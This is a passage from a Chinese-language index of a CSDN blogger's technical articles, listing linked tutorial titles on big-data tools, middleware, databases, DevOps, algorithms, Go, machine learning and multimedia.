31. [《Flink处理函数实战之五:CoProcessFunction(双流处理)》](https://blog.csdn.net/boling_cavalry/article/details/109614001)
32. [《理解ProcessFunction的Timer逻辑》](https://xinchen.blog.csdn.net/article/details/109564999)
## 双流处理实战特辑
1. [《CoProcessFunction实战三部曲之一:基本功能》](https://xinchen.blog.csdn.net/article/details/109624375)
2. [《CoProcessFunction实战三部曲之二:状态处理》](https://xinchen.blog.csdn.net/article/details/109629119)
3. [《CoProcessFunction实战三部曲之三:定时器和侧输出》](https://xinchen.blog.csdn.net/article/details/109645214)
## Spark
1. [《部署spark2.2集群(standalone模式)》](https://blog.csdn.net/boling_cavalry/article/details/86747258)
2. [《第一个spark应用开发详解(java版)》](https://blog.csdn.net/boling_cavalry/article/details/86776746)
3. [《部署Spark2.2集群(on Yarn模式)》](https://blog.csdn.net/boling_cavalry/article/details/86795338)
4. [《docker下,极速搭建spark集群(含hdfs集群)》](https://blog.csdn.net/boling_cavalry/article/details/86851069)
5. [《spark实战之:分析维基百科网站统计数据(java版)》](https://blog.csdn.net/boling_cavalry/article/details/87241814)
6. [《docker下的spark集群,调整参数榨干硬件》](https://blog.csdn.net/boling_cavalry/article/details/87438666)
7. [《IDEA开发Spark应用实战(Scala)》](https://blog.csdn.net/boling_cavalry/article/details/87510822)
8. [《查看Spark任务的详细信息》](https://blog.csdn.net/boling_cavalry/article/details/102291920)
9. [《Mac部署spark2.4.4》](https://blog.csdn.net/boling_cavalry/article/details/102765992)
## Kylin
1. [《CDH+Kylin三部曲之一:准备工作》](https://xinchen.blog.csdn.net/article/details/105449630)
2. [《CDH+Kylin三部曲之二:部署和设置》](https://xinchen.blog.csdn.net/article/details/105449952)
3. [《CDH+Kylin三部曲之三:Kylin官方demo》](https://xinchen.blog.csdn.net/article/details/105450665)
## HBase
1. [《Docker下HBase学习,三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/78041775)
2. [《Docker下HBase学习,三部曲之二:集群HBase搭建》](https://blog.csdn.net/boling_cavalry/article/details/78041811)
3. [《Docker下HBase学习,三部曲之三:java开发》](https://blog.csdn.net/boling_cavalry/article/details/78156406)
## Hive
1. [《安装和体验hive》](https://blog.csdn.net/boling_cavalry/article/details/102310449)
## Hadoop
1. [《Linux部署hadoop2.7.7集群》](https://blog.csdn.net/boling_cavalry/article/details/86774385)
2. [《Mac部署hadoop3(伪分布式)》](https://blog.csdn.net/boling_cavalry/article/details/102538585)
## 数据集
1. [《寻找海量数据集用于大数据开发实战(维基百科网站统计数据)》](https://blog.csdn.net/boling_cavalry/article/details/86894540)
# 中间件
## 配置中心
1. [《Docker搭建disconf环境,三部曲之一:极速搭建disconf》](https://blog.csdn.net/boling_cavalry/article/details/71082610)
2. [《Docker搭建disconf环境,三部曲之二:本地快速构建disconf镜像》](https://blog.csdn.net/boling_cavalry/article/details/71107498)
3. [《Docker搭建disconf环境,三部曲之三:细说搭建过程》](https://blog.csdn.net/boling_cavalry/article/details/71120725)
4. [《docker下使用disconf:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/71404395)
5. [《docker下使用disconf:细说demo开发》](https://blog.csdn.net/boling_cavalry/article/details/71424124)
## zookeeper
1. [《基于spring boot框架访问zookeeper》](https://blog.csdn.net/boling_cavalry/article/details/69802622)
## 缓存
1. [《jedis使用入门(Docker环境下)》](https://blog.csdn.net/boling_cavalry/article/details/71440053)
2. [《Docker下redis与springboot三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/78991422)
3. [《Docker下redis与springboot三部曲之二:安装redis主从和哨兵》](https://blog.csdn.net/boling_cavalry/article/details/78995407)
4. [《Docker下redis与springboot三部曲之三:springboot下访问redis哨兵》](https://blog.csdn.net/boling_cavalry/article/details/79041129)
5. [《实战Redis序列化性能测试(Kryo和字符串)》](https://blog.csdn.net/boling_cavalry/article/details/80719683)
## 注册中心
### dubbo
1. [《Docker下dubbo开发,三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/72303126)
2. [《Docker下dubbo开发,三部曲之二:本地环境搭建》](https://blog.csdn.net/boling_cavalry/article/details/72460526)
3. [《Docker下dubbo开发,三部曲之三:java开发》](https://blog.csdn.net/boling_cavalry/article/details/72789984)
### nacos
1. [《Docker下,两分钟极速体验Nacos》](https://blog.csdn.net/boling_cavalry/article/details/97617353)
2. [《Docker下的Nacos环境开发》](https://blog.csdn.net/boling_cavalry/article/details/98328270)
3. [《Docker下,两分钟极速体验Nacos配置中心》](https://blog.csdn.net/boling_cavalry/article/details/99708769)
4. [《Docker下Nacos配置应用开发》](https://blog.csdn.net/boling_cavalry/article/details/100067833)
5. [《Docker下Nacos持久化配置》](https://blog.csdn.net/boling_cavalry/article/details/100171289)
### eureka
1. [《Eureka的TimedSupervisorTask类(自动调节间隔的周期性任务)》](https://blog.csdn.net/boling_cavalry/article/details/82795825)
2. [《实战监听Eureka client的缓存更新》](https://blog.csdn.net/boling_cavalry/article/details/82827802)
3. [《Eureka的InstanceInfoReplicator类(服务注册辅助工具)》](https://blog.csdn.net/boling_cavalry/article/details/82909130)
4. [《Eureka注册信息配置备忘》](https://blog.csdn.net/boling_cavalry/article/details/82927409)
5. [《Wireshark抓包分析Eureka注册发现协议》](https://blog.csdn.net/boling_cavalry/article/details/82918227)
6. [《Spring Cloud源码分析之Eureka篇第一章:准备工作》](https://blog.csdn.net/boling_cavalry/article/details/81809929)
7. [《Spring Cloud源码分析之Eureka篇第二章:注册中心启动类上的注解EnableEurekaServer》](https://blog.csdn.net/boling_cavalry/article/details/81809860)
8. [《Spring Cloud源码分析之Eureka篇第三章:EnableDiscoveryClient与EnableEurekaClient的区别(Edgware版本)》](https://blog.csdn.net/boling_cavalry/article/details/82668480)
9. [《Spring Cloud源码分析之Eureka篇第四章:服务注册是如何发起的》](https://blog.csdn.net/boling_cavalry/article/details/82721583)
10. [《Spring Cloud源码分析之Eureka篇第五章:更新服务列表》](https://blog.csdn.net/boling_cavalry/article/details/82813180)
11. [《Spring Cloud源码分析之Eureka篇第六章:服务注册》](https://blog.csdn.net/boling_cavalry/article/details/82861618)
12. [《Spring Cloud源码分析之Eureka篇第七章:续约》](https://blog.csdn.net/boling_cavalry/article/details/82915355)
13. [《Spring Cloud源码分析之Eureka篇第八章:服务注册名称的来历》](https://blog.csdn.net/boling_cavalry/article/details/82930728)
# 消息队列
## kafka
1. [《Docker下kafka学习,三部曲之一:极速体验kafka》](https://blog.csdn.net/boling_cavalry/article/details/71576775)
2. [《Docker下kafka学习,三部曲之二:本地环境搭建》](https://blog.csdn.net/boling_cavalry/article/details/71601189)
3. [《Docker下kafka学习,三部曲之三:java开发》](https://blog.csdn.net/boling_cavalry/article/details/71634631)
4. [《Docker下的Kafka学习之一:制作集群用的镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78244943)
5. [《Docker下的Kafka学习之二:搭建集群环境》](https://blog.csdn.net/boling_cavalry/article/details/78309050)
6. [《Docker下的Kafka学习之三:集群环境下的java开发》](https://blog.csdn.net/boling_cavalry/article/details/78386451)
7. [《kafka的Docker镜像使用说明(wurstmeister/kafka)》](https://blog.csdn.net/boling_cavalry/article/details/85395080)
8. [《如何使用Docker内的kafka服务》](https://blog.csdn.net/boling_cavalry/article/details/85528519)
9. [《K8S环境快速部署Kafka(K8S外部可访问)》](https://xinchen.blog.csdn.net/article/details/105466163)
10. [《K8S的Kafka监控(Prometheus+Grafana)》](https://xinchen.blog.csdn.net/article/details/105466788)
## RabbitMQ
1. [《Docker下RabbitMQ四部曲之一:极速体验(单机和集群)》](https://blog.csdn.net/boling_cavalry/article/details/80212878)
2. [《Docker下RabbitMQ四部曲之二:细说RabbitMQ镜像制作》](https://blog.csdn.net/boling_cavalry/article/details/80297358)
3. [《Docker下RabbitMQ四部曲之三:细说java开发》](https://blog.csdn.net/boling_cavalry/article/details/80301169)
4. [《Docker下RabbitMQ四部曲之四:高可用实战》](https://blog.csdn.net/boling_cavalry/article/details/80351491)
5. [《Docker下RabbitMQ延时队列实战两部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/80630100)
6. [《Docker下RabbitMQ延时队列实战两部曲之二:细说开发》](https://blog.csdn.net/boling_cavalry/article/details/80635050)
# 数据库
## MySQL
1. [《让docker中的mysql启动时自动执行sql》](https://blog.csdn.net/boling_cavalry/article/details/71055159)
2. [《Docker下,极速体验mongodb》](https://blog.csdn.net/boling_cavalry/article/details/78168085)
3. [《制作mongodb的Docker镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78172113)
4. [《Docker下,实战mongodb副本集(Replication)》](https://blog.csdn.net/boling_cavalry/article/details/78173636)
5. [《Docker下安装Rockmongo,图形化操作mongodb》](https://blog.csdn.net/boling_cavalry/article/details/78234762)
6. [《Java实战操作MongoDB集群(副本集)》](https://blog.csdn.net/boling_cavalry/article/details/78238163)
7. [《Docker下的mysql设置字符集》](https://blog.csdn.net/boling_cavalry/article/details/79342494)
8. [《Docker下手工配置MySQL主从》](https://blog.csdn.net/boling_cavalry/article/details/79751085)
9. [《Docker下MySQL主从三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79747488)
10. [《Docker下MySQL主从三部曲之二:细说镜像制作》](https://blog.csdn.net/boling_cavalry/article/details/79775617)
11. [《Docker下MySQL主从三部曲之三:binlog日志参数实战》](https://blog.csdn.net/boling_cavalry/article/details/79782008)
12. [《关于InnoDB表数据和索引数据的存储》](https://blog.csdn.net/boling_cavalry/article/details/85172258)
## ElasticSearch
### ElasticSearch实战
1. [《CentOS7搭建ELK-6.2.3版本》](https://blog.csdn.net/boling_cavalry/article/details/79836171)
2. [《Docker下ELK三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79950677)
3. [《Docker下ELK三部曲之二:细说开发》](https://blog.csdn.net/boling_cavalry/article/details/79972444)
4. [《Docker下ELK三部曲之三:K8S上的ELK和应用日志上报》](https://blog.csdn.net/boling_cavalry/article/details/80141800)
5. [《Linux环境快速搭建elasticsearch6.5.4集群和Head插件》](https://blog.csdn.net/boling_cavalry/article/details/86358716)
6. [《elasticsearch安装和使用ik分词器》](https://blog.csdn.net/boling_cavalry/article/details/86549043)
7. [《自己动手制作elasticsearch-head的Docker镜像》](https://blog.csdn.net/boling_cavalry/article/details/86663168)
8. [《自己动手制作elasticsearch的ik分词器的Docker镜像》](https://blog.csdn.net/boling_cavalry/article/details/86668180)
9. [《docker下,一行命令搭建elasticsearch6.5.0集群(带head插件和ik分词器)》](https://blog.csdn.net/boling_cavalry/article/details/86669450)
10. [《Elasticsearch6.1.2源码下载和编译构建》](https://blog.csdn.net/boling_cavalry/article/details/89298234)
11. [《IntelliJ IDEA远程调试Elasticsearch6.1.2》](https://blog.csdn.net/boling_cavalry/article/details/89417650)
12. [《极速导入elasticsearch测试数据》](https://blog.csdn.net/boling_cavalry/article/details/89435566)
### ElasticSearch基本功专题
1. [《elasticsearch实战三部曲之一:索引操作》](https://blog.csdn.net/boling_cavalry/article/details/86361841)
2. [《elasticsearch实战三部曲之二:文档操作》](https://blog.csdn.net/boling_cavalry/article/details/86379882)
3[《elasticsearch实战三部曲之三:搜索操作》](https://blog.csdn.net/boling_cavalry/article/details/86413235)
4. [《Elasticsearch聚合学习之一:基本操作》](https://blog.csdn.net/boling_cavalry/article/details/89735952)
5. [《Elasticsearch聚合学习之二:区间聚合》](https://blog.csdn.net/boling_cavalry/article/details/89763684)
6. [《Elasticsearch聚合学习之三:范围限定》](https://blog.csdn.net/boling_cavalry/article/details/89785223)
7. [《Elasticsearch聚合学习之四:结果排序》](https://blog.csdn.net/boling_cavalry/article/details/89812169)
8. [《Elasticsearch聚合学习之五:排序结果不准的问题分析》](https://blog.csdn.net/boling_cavalry/article/details/90319399)
9. [《Elasticsearch聚合的嵌套桶如何排序》](https://blog.csdn.net/boling_cavalry/article/details/89816240)
10. [《理解elasticsearch的post_filter》](https://blog.csdn.net/boling_cavalry/article/details/89801825)
11. [《elasticsearch的字符串动态映射》](https://blog.csdn.net/boling_cavalry/article/details/89061560)
12. [《实战Elasticsearch6的join类型》](https://blog.csdn.net/boling_cavalry/article/details/89067738)
# 工具和技巧
1. [《根据java代码生成UML图》](https://blog.csdn.net/boling_cavalry/article/details/72033221)
2. [《设置Intellij idea和maven,支持lambda表达式》](https://blog.csdn.net/boling_cavalry/article/details/72853503)
3. [《安装Genymotion模拟器运行Android studio的工程》](https://blog.csdn.net/boling_cavalry/article/details/73287096)
4. [《Intellij idea远程debug连接tomcat,实现单步调试》](https://blog.csdn.net/boling_cavalry/article/details/73384036)
5. [《docker下载镜像慢怎么办?daocloud加速器来帮你》](https://blog.csdn.net/boling_cavalry/article/details/77833069)
6. [《Docker下的mysql设置字符集》](https://blog.csdn.net/boling_cavalry/article/details/79342494)
7. [《用IntelliJ IDEA看Java类图》](https://blog.csdn.net/boling_cavalry/article/details/79418823)
8. [《Wireshark的HTTP请求包和响应包如何对应》](https://blog.csdn.net/boling_cavalry/article/details/82925463)
9. [《Wireshark抓包分析Eureka注册发现协议》](https://blog.csdn.net/boling_cavalry/article/details/82918227)
10. [《免费申请和使用IntelliJ IDEA商业版License指南》](https://blog.csdn.net/boling_cavalry/article/details/100014835)
11. [《发送kafka消息的shell脚本》](https://blog.csdn.net/boling_cavalry/article/details/104736677)
12. [《github搜索技巧小结》](https://xinchen.blog.csdn.net/article/details/114737069)
# 问题处理
1. [《dubbo服务提供者在tomcat启动失败的问题》](https://blog.csdn.net/boling_cavalry/article/details/72188135)
2. [《Docker下部署dubbo,消费者应用无法使用link参数的问题》](https://blog.csdn.net/boling_cavalry/article/details/72388834)
3. [《adb shell无法连接到Genymotion上的虚拟设备的问题》](https://blog.csdn.net/boling_cavalry/article/details/73301843)
4. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之一:稳定重现问题》](https://blog.csdn.net/boling_cavalry/article/details/73071020)
5. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之二:定位错误》](https://blog.csdn.net/boling_cavalry/article/details/73442311)
6. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之三:改spring源码,取详细错误》](https://blog.csdn.net/boling_cavalry/article/details/73759475)
7. [《docker-compose中启动镜像失败的问题》](https://blog.csdn.net/boling_cavalry/article/details/79050451)
8. [《Docker下No module named 'pymongo'问题处理》](https://blog.csdn.net/boling_cavalry/article/details/79169560)
9. [《springboot启动失败的问题('hibernate.dialect' not set)》](https://blog.csdn.net/boling_cavalry/article/details/79342319)
10. [《springboot的JPA在Mysql8新增记录失败的问题》](https://blog.csdn.net/boling_cavalry/article/details/79342572)
11. [《Win10环境编译spring-framework4.1.9版本,报错"Failed to capture snapshot of input files for task 'distZip'"》](https://blog.csdn.net/boling_cavalry/article/details/80796059)
12. [《maven编译遇到"编码GBK的不可映射字符"警告的处理》](https://blog.csdn.net/boling_cavalry/article/details/83036666)
13. [《 docker问题备忘:"rpc error: code = 2 desc = containerd: container not found"》](https://blog.csdn.net/boling_cavalry/article/details/88817244)
14. [《使用fabric8-maven-plugin插件的错误处理(No plugin found for prefix 'fabric8')》](https://blog.csdn.net/boling_cavalry/article/details/91132345)
15. [《Linux下minikube启动失败(It seems like the kubelet isn't running or healthy)》](https://blog.csdn.net/boling_cavalry/article/details/91306095)
16. [《Ubuntu18重启docker服务失败问题备忘》](https://blog.csdn.net/boling_cavalry/article/details/100059053)
17. [《hadoop2.7集群初始化之后没有DataNode的问题》](https://blog.csdn.net/boling_cavalry/article/details/102764540)
# DevOps
## ansible
1. [《ansible2.4安装和体验》](https://xinchen.blog.csdn.net/article/details/105342744)
2. [《超简单的CDH6部署和体验(单机版)》](https://xinchen.blog.csdn.net/article/details/105356266)
3. [《Flink on Yarn三部曲之一:准备工作》](https://xinchen.blog.csdn.net/article/details/105356306)
4. [《Flink on Yarn三部曲之二:部署和设置》](https://xinchen.blog.csdn.net/article/details/105356347)
5. [《Flink on Yarn三部曲之三:提交Flink任务》](https://xinchen.blog.csdn.net/article/details/105356399)
6. [《CDH+Kylin三部曲之一:准备工作》](https://xinchen.blog.csdn.net/article/details/105449630)
7. [《CDH+Kylin三部曲之二:部署和设置》](https://xinchen.blog.csdn.net/article/details/105449952)
8. [《CDH+Kylin三部曲之三:Kylin官方demo》](https://xinchen.blog.csdn.net/article/details/105450665)
9. [《ansible快速部署cassandra3集群》](https://blog.csdn.net/boling_cavalry/article/details/105602584)
## Maven
1. [《maven构建docker镜像三部曲之一:准备环境》](https://blog.csdn.net/boling_cavalry/article/details/78869466)
2. [《maven构建docker镜像三部曲之二:编码和构建镜像》](https://blog.csdn.net/boling_cavalry/article/details/78872020)
3. [《maven构建docker镜像三部曲之三:推送到远程仓库(内网和阿里云)》](https://blog.csdn.net/boling_cavalry/article/details/78934391)
4. [《docker下的Jenkins安装和体验》](https://blog.csdn.net/boling_cavalry/article/details/78942408)
5. [《实战maven私有仓库三部曲之一:搭建和使用》](https://blog.csdn.net/boling_cavalry/article/details/79059021)
6. [《实战maven私有仓库三部曲之二:上传到私有仓库》](https://blog.csdn.net/boling_cavalry/article/details/79070744)
7. [《实战maven私有仓库三部曲之三:Docker下搭建maven私有仓库》](https://blog.csdn.net/boling_cavalry/article/details/79111740)
8. [《实战:向GitHub提交代码时触发Jenkins自动构建》](https://blog.csdn.net/boling_cavalry/article/details/78943061)
9. [《修改gradle脚本,加速spring4.1源码编译构建速度》](https://blog.csdn.net/boling_cavalry/article/details/80873343)
10. [《Docker与Jib(maven插件版)实战》](https://blog.csdn.net/boling_cavalry/article/details/94355659)
12. [《Jib使用小结(Maven插件版)》](https://blog.csdn.net/boling_cavalry/article/details/100179709)
13. [《Jib构建镜像问题从定位到深入分析》](https://blog.csdn.net/boling_cavalry/article/details/101606958)
14. [《kubernetes下的jenkins如何设置maven》](https://blog.csdn.net/boling_cavalry/article/details/104849839)
15. [《kubernetes下jenkins实战maven项目编译构建》](https://blog.csdn.net/boling_cavalry/article/details/104875452)
## 持续构建
1. [《通过http请求启动jenkins任务》](https://blog.csdn.net/boling_cavalry/article/details/85373901)
2. [《Jenkins流水线(pipeline)实战之:从部署到体验》](https://blog.csdn.net/boling_cavalry/article/details/100848333)
3. [《让Jenkins执行GitHub上的pipeline脚本》](https://blog.csdn.net/boling_cavalry/article/details/100857361)
4. [《Jenkins把GitHub项目做成Docker镜像》](https://blog.csdn.net/boling_cavalry/article/details/101099617)
5. [《快速搭建Jenkins集群》](https://blog.csdn.net/boling_cavalry/article/details/103097240)
6. [《Jenkins集群下的pipeline实战》](https://blog.csdn.net/boling_cavalry/article/details/103104441)
7. [《kubernetes下的jenkins如何设置maven》](https://blog.csdn.net/boling_cavalry/article/details/104849839)
8. [《K8S环境的Jenkin性能问题处理》](https://blog.csdn.net/boling_cavalry/article/details/105005245)
9. [《K8S环境的Jenkin性能问题处理续篇(任务Pod设置)》](https://xinchen.blog.csdn.net/article/details/105181474)
10. [《远程触发Jenkins的Pipeline任务》](https://xinchen.blog.csdn.net/article/details/105189564)
11. [《远程触发Jenkins的Pipeline任务的并发问题处理》](https://xinchen.blog.csdn.net/article/details/105340243)
12. [《GitLab Runner部署(kubernetes环境)》](https://blog.csdn.net/boling_cavalry/article/details/106991576)
13. [《GitLab CI构建SpringBoot-2.3应用》](https://blog.csdn.net/boling_cavalry/article/details/106991691)
14. [《Gitlab Runner的分布式缓存实战》](https://blog.csdn.net/boling_cavalry/article/details/107374730)
15. [《用GitHub Actions制作Docker镜像》](https://xinchen.blog.csdn.net/article/details/115476859)
## promethus
1. [《Docker下Prometheus和Grafana三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/88367137)
2. [《Docker下Prometheus和Grafana三部曲之二:细说Docker编排》](https://blog.csdn.net/boling_cavalry/article/details/88374848)
3. [《Docker下Prometheus和Grafana三部曲之三:自定义监控项开发和配置》](https://blog.csdn.net/boling_cavalry/article/details/88375734)
4. [《kubernetes1.15极速部署prometheus和grafana》](https://xinchen.blog.csdn.net/article/details/105156849)
5. [《K8S的Kafka监控(Prometheus+Grafana)》](https://xinchen.blog.csdn.net/article/details/105466788)
## zabbix
1. [《Docker下实战zabbix三部曲之一:极速体验》](https://blog.csdn.net/boling_cavalry/article/details/76857936)
2. [《Docker下实战zabbix三部曲之二:监控其他机器》](https://blog.csdn.net/boling_cavalry/article/details/77095153)
3. [《Docker下实战zabbix三部曲之三:自定义监控项》](https://blog.csdn.net/boling_cavalry/article/details/77410178)
4. [《Docker下,极速体验编译pinpoint1.6.x分支》](https://xinchen.blog.csdn.net/article/details/78440890)
## pinpoint
1. [《把pinpoint编译环境做成Docker镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78447310)
2. [《Docker下,极速体验pinpoint1.6.3》](https://blog.csdn.net/boling_cavalry/article/details/78447314)
3. [《Docker下,pinpoint环境搭建》](https://blog.csdn.net/boling_cavalry/article/details/78448564)
4. [《pinpoint插件开发之一:牛刀小试,调整gson插件》](https://blog.csdn.net/boling_cavalry/article/details/78495628)
5. [《pinpoint插件开发之二:从零开始新建一个插件》](https://blog.csdn.net/boling_cavalry/article/details/78568073)
6. [《分布式系统快速接入pinpoint1.8.3指南》](https://blog.csdn.net/boling_cavalry/article/details/102011341)
## jaeger
1. [《分布式调用链跟踪工具Jaeger?两分钟极速体验》](https://xinchen.blog.csdn.net/article/details/120243299)
2. [《Jaeger开发入门(java版)》](https://xinchen.blog.csdn.net/article/details/120360141)
3. [《Java应用日志如何与Jaeger的trace关联》](https://xinchen.blog.csdn.net/article/details/120389573)
4. [《Jaeger的客户端采样配置》](https://xinchen.blog.csdn.net/article/details/120395628)
5. [《极简!一个注解就能创建Jaeger的Span》](https://xinchen.blog.csdn.net/article/details/120475233)
6. [《Jaeger知识点补充》](https://xinchen.blog.csdn.net/article/details/120394912)
# 算法
1. [《LeetCode第三题(Longest Substring Without Repeating Characters)三部曲之一:解题思路》](https://blog.csdn.net/boling_cavalry/article/details/86563586)
2. [《LeetCode第三题(Longest Substring Without Repeating Characters)三部曲之二:编码实现》](https://blog.csdn.net/boling_cavalry/article/details/86654969)
3. [《LeetCode第三题(Longest Substring Without Repeating Characters)三部曲之三:两次优化》](https://blog.csdn.net/boling_cavalry/article/details/86655675)
4. [《LeetCode46全排列(回溯入门)》](https://xinchen.blog.csdn.net/article/details/125966575)
5. [《LeetCode952三部曲之一:解题思路和初级解法(137ms,超39%)》](https://xinchen.blog.csdn.net/article/details/126070288)
6. [《LeetCode952三部曲之二:小幅度优化(137ms -> 122ms,超39% -> 超51%)》](https://xinchen.blog.csdn.net/article/details/126090112)
7. [《LeetCode952三部曲之三:再次优化(122ms -> 96ms,超51% -> 超91%)》](https://xinchen.blog.csdn.net/article/details/126215652)
8. [《LeetCode买卖股票之一:基本套路(122)》](https://xinchen.blog.csdn.net/article/details/126558167)
9. [《LeetCode297:hard级别中最简单的存在,java版,用时击败98%,内存击败百分之九十九》](https://xinchen.blog.csdn.net/article/details/126693144)
10. [《LeetCode279:完全平方数,动态规划解法超过46%,作弊解法却超过97%》](https://xinchen.blog.csdn.net/article/details/126922180)
11. [《LeetCode155:最小栈,最简单的中等难度题,时间击败100%,内存也低于官方》](https://xinchen.blog.csdn.net/article/details/127042047)
12. [《LeetCode98:验证二叉搜索树,居然有这么简单的中等难度,白捡(用时击败100%)》](https://xinchen.blog.csdn.net/article/details/127145854)
# Linux
1. [《Ubuntu16环境安装和使用NFS》](https://blog.csdn.net/boling_cavalry/article/details/79498346)
2. [《CentOS7安装Nginx1.10.1》](https://blog.csdn.net/boling_cavalry/article/details/79834850)
3. [《CentOS7安装JDK8》](https://blog.csdn.net/boling_cavalry/article/details/79840049)
4. [《Ubuntu下安装OpenJDK10》](https://blog.csdn.net/boling_cavalry/article/details/83213608)
5. [《Ubuntu环境下载OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83240035)
6. [《Ubuntu16安装nodejs10》](https://blog.csdn.net/boling_cavalry/article/details/86354385)
7. [《Linux服务器端网络抓包和分析实战》](https://blog.csdn.net/boling_cavalry/article/details/86771775)
8. [《Linux配置SSH免密码登录(非root账号)》](https://blog.csdn.net/boling_cavalry/article/details/86772345)
9. [《CentOS7安装python3和pip3》](https://blog.csdn.net/boling_cavalry/article/details/96572311)
# Mac
1. [《Mac下vagrant从安装到体验》](https://blog.csdn.net/boling_cavalry/article/details/99702719)
2. [《Vagrant定制个性化CentOS7模板》](https://blog.csdn.net/boling_cavalry/article/details/102240871)
3. [《Java程序员的MacBookPro(14寸M1)配置备忘录》](https://xinchen.blog.csdn.net/article/details/124139180)
# Windows
1. [《win11安装ubuntu(by wsl2)》](https://xinchen.blog.csdn.net/article/details/126312959)
# golang
1. [《Ubuntu16安装Go语言环境》](https://blog.csdn.net/boling_cavalry/article/details/82904868)
2. [《golang实战之flag包》](https://blog.csdn.net/boling_cavalry/article/details/87901677)
3. [《用golang官方Docker镜像运行项目》](https://blog.csdn.net/boling_cavalry/article/details/87904485)
4. [《vim设置go语法高亮》](https://blog.csdn.net/boling_cavalry/article/details/88598828)
5. [云端golang开发,无需本地配置,能上网就能开发和运行](https://xinchen.blog.csdn.net/article/details/128879768)
6. [Go语言基准测试(benchmark)三部曲之一:基础篇](https://xinchen.blog.csdn.net/article/details/128986489)
7. [Go语言基准测试(benchmark)三部曲之二:内存篇](https://xinchen.blog.csdn.net/article/details/128997452)
## gRPC特辑
1. [《gRPC学习之一:在CentOS7部署和设置GO》](https://xinchen.blog.csdn.net/article/details/110790538)
2. [《gRPC学习之二:GO的gRPC开发环境准备》](https://xinchen.blog.csdn.net/article/details/111066105)
3. [《gRPC学习之三:初试GO版gRPC开发》](https://xinchen.blog.csdn.net/article/details/111086114)
4. [《gRPC学习之四:实战四类服务方法》](https://xinchen.blog.csdn.net/article/details/111144884)
5. [《gRPC学习之五:gRPC-Gateway实战》](https://xinchen.blog.csdn.net/article/details/111399854)
6. [《gRPC学习之六:gRPC-Gateway集成swagger》](https://xinchen.blog.csdn.net/article/details/111406857)
# 机器学习
1. [《机器学习的开发环境准备》](https://blog.csdn.net/boling_cavalry/article/details/96628350)
2. [《Docker下,五分钟极速体验机器学习》](https://blog.csdn.net/boling_cavalry/article/details/96718499)
3. [《来自Java程序员的Python新手入门小结》](https://xinchen.blog.csdn.net/article/details/120575494)
4. [《NumPy学习笔记》](https://xinchen.blog.csdn.net/article/details/120608660)
5. [《Ubuntu16安装Nvidia驱动(GTX1060显卡)》](https://xinchen.blog.csdn.net/article/details/120633388)
6. [《Anaconda3+CUDA10.1+CUDNN7.6+TensorFlow2.6安装(Ubuntu16)》](https://xinchen.blog.csdn.net/article/details/120639465)
# 深度学习
## DL4J实战特辑
1. [《DL4J实战之一:准备》](https://blog.csdn.net/boling_cavalry/article/details/117898354)
2. [《DL4J实战之二:鸢尾花分类》](https://blog.csdn.net/boling_cavalry/article/details/117905798)
3. [《DL4J实战之三:经典卷积实例(LeNet-5)》](https://blog.csdn.net/boling_cavalry/article/details/118239403)
4. [《DL4J实战之四:经典卷积实例(GPU版本)》](https://blog.csdn.net/boling_cavalry/article/details/118240038)
5. [《DL4J实战之五:矩阵操作基本功》](https://blog.csdn.net/boling_cavalry/article/details/118442820)
6. [《DL4J实战之六:图形化展示训练过程》](https://blog.csdn.net/boling_cavalry/article/details/118593750)
## 深度学习工程化
1. [《纯净Ubuntu16安装CUDA(9.1)和cuDNN》](https://blog.csdn.net/boling_cavalry/article/details/118065868)
2. [《三分钟体验:SpringBoot用深度学习模型识别数字》](https://blog.csdn.net/boling_cavalry/article/details/118290933)
3. [《SpringBoot用深度学习模型识别数字:开发详解》](https://blog.csdn.net/boling_cavalry/article/details/118353259)
4. [《三分钟极速体验:Java版人脸检测》](https://blog.csdn.net/boling_cavalry/article/details/118862001)
5. [《Java版人脸检测详解上篇:运行环境的Docker镜像(CentOS+JDK+OpenCV)》](https://blog.csdn.net/boling_cavalry/article/details/118876299)
6. [《Java版人脸检测详解下篇:编码》](https://blog.csdn.net/boling_cavalry/article/details/118970439)
7. [《三分钟:极速体验JAVA版目标检测(YOLO4)》](https://xinchen.blog.csdn.net/article/details/120819464)
8. [《制作JavaCV应用依赖的基础Docker镜像(CentOS7+JDK8+OpenCV4)》](https://xinchen.blog.csdn.net/article/details/120926346)
9. [《超详细的编码实战,让你的springboot应用识别图片中的行人、汽车、狗子、喵星人(JavaCV+YOLO4)》](https://xinchen.blog.csdn.net/article/details/120929514)
# 多媒体
## kurento
1. [《Kurento实战之一:KMS部署和体验》](https://xinchen.blog.csdn.net/article/details/112070074)
2. [《Kurento实战之二:快速部署和体验》](https://xinchen.blog.csdn.net/article/details/112385575)
3. [《Kurento实战之三:知识点小导游》](https://xinchen.blog.csdn.net/article/details/112415314)
4. [《Kurento实战之四:应用开发指南》](https://xinchen.blog.csdn.net/article/details/112504048)
5. [《微信小程序+腾讯云直播的实时音视频实战笔记》](https://blog.csdn.net/boling_cavalry/article/details/116855410)
6. [《Kurento实战之五:媒体播放》](https://blog.csdn.net/boling_cavalry/article/details/118055902)
7. [《Kurento实战之六:云端录制》](https://blog.csdn.net/boling_cavalry/article/details/118065861)
## JavaCV特辑
1. [《JavaCV推流实战(MP4文件)》](https://xinchen.blog.csdn.net/article/details/121434969)
2. [《JavaCV的摄像头实战之一:基础》](https://xinchen.blog.csdn.net/article/details/121572093)
3. [《JavaCV的摄像头实战之二:本地窗口预览》](https://xinchen.blog.csdn.net/article/details/121587043)
4. [《JavaCV的摄像头实战之三:保存为mp4文件》](https://xinchen.blog.csdn.net/article/details/121597278)
5. [《JavaCV的摄像头实战之四:抓图》](https://xinchen.blog.csdn.net/article/details/121624255)
6. [《JavaCV的摄像头实战之五:推流》](https://xinchen.blog.csdn.net/article/details/121647316)
